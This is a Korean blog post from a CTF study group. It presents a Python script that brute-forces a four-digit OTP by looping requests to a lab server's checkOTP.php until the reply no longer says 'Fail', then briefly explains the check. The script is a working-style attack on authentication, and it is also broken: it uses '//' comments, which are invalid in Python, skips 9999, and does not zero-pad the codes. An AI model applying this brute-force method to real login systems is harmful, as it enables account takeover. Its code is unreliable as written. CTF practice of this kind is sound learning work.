자동화툴(PIN Code Crack)

황인환·2024년 5월 22일

자동화툴(python)

import requests
import os

url= "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="


for i in range(0000,9999):
    res= requests.get(url+str(i))
    print("try:" + str(i)) //지금 세고 있는 숫자
    os.system('cls') // 쉘창 한줄 지우기 -> 누적방지
    if "Fail" not in res.text:
        print(res.text + str(i))
        break
    

request 모듈을 사용하여 정보를 받아왔고
if "Fail" not in res.text:을 사용한 이유는
print(res.text + str(i))을 찍어봤을때
<script>alert('Login Fail...');</script><script>location.href='login.php';</script>0으로 결과가 도출됨
->Fail을 포함하지 않는 문장이 나오면 답.

--Normaltic study 5주차 ---

0개의 댓글